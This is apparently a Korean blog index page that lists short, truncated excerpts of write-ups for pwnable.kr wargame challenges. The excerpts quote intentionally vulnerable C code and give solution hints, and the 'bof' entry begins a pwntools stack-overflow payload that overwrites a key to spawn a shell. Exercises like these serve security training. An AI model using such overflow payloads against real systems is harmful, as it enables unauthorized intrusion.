본문 바로가기

pwn/pwnable.kr

(8)
mistake 전체 코드 아래 더보기 더보기 #include #include #define PW_LEN 10 #define XORKEY 1 void xor(char* s, int len){ int i; for(i=0; i 0)){ printf("read error\n"); close(fd); return 0; } char pw_buf2[PW_LEN+1]; printf("input password : "); scanf("%10s", pw_buf2); // xor your input xor(pw_buf2, 10); if(!strncmp(pw_buf, pw_buf2, PW_LEN)){ printf("Password OK\n"); system("/bin/cat flag\n"); } else{ printf("Wrong Pass..
leg c코드와 ARM 어셈블리 코드가 주어진다 (아래 더보기 참고) 더보기 #include #include int key1(){ asm("mov r3, pc\n"); } int key2(){ asm( "push{r6}\n" "addr6, pc, $1\n" "bxr6\n" ".code 16\n" "movr3, pc\n" "addr3, $0x4\n" "push{r3}\n" "pop{pc}\n" ".code32\n" "pop{r6}\n" ); } int key3(){ asm("mov r3, lr\n"); } int main(){ int key=0; printf("Daddy has very strong arm! : "); scanf("%d", &key); if( (key1()+key2()+key3()) == key ..
random #include int main(){ unsigned int random; random = rand();// random value! unsigned int key=0; scanf("%d", &key); if( (key ^ random) == 0xdeadbeef ){ printf("Good!\n"); system("/bin/cat flag"); return 0; } printf("Wrong, maybe you should try 2^32 cases.\n"); return 0; } 랜던 값을 생성하는데 시드값을 설장해주지 않으면 값이 고정되기 때문에 gdb로 값을 얻어 0xdeadbeef와 xor수행
passcode 예전에 작성한 write-up글 https://brain200.tistory.com/27?category=954859
flag UPX로 패킹된 바이너리 풀고 main함수에서 플래그를 얻었다
bof #include #include #include void func(int key){ char overflowme[32]; printf("overflow me : "); gets(overflowme);// smash me! if(key == 0xcafebabe){ system("/bin/sh"); } else{ printf("Nah..\n"); } } int main(int argc, char* argv[]){ func(0xdeadbeef); return 0; } 0xdeadbeef인 key를 0xcafebabe로 overwrite하면 된다 from pwn import * p = remote("pwnable.kr", 9000) payload = b"A" * 0x34 payload += p32(0xcafeb..
collision MD5 해쉬 충돌 #include #include unsigned long hashcode = 0x21DD09EC; unsigned long check_password(const char* p){ int* ip = (int*)p; int i; int res=0; for(i=0; i
fd 파일 디스크립터에 대해 아냐고 물어본다 ssh로 접속해보면 프로그램, c파일, 플래그 파일이 주어진다 argv[1]을 받아가 0x1234를 빼서 fd에 저장한다 read를 하기 위해서 argv[1] - 0x1234을 stdin으로 만들어주면 된다 (stdin, stdout, stderr 중 아무거나 써도 상관없다...)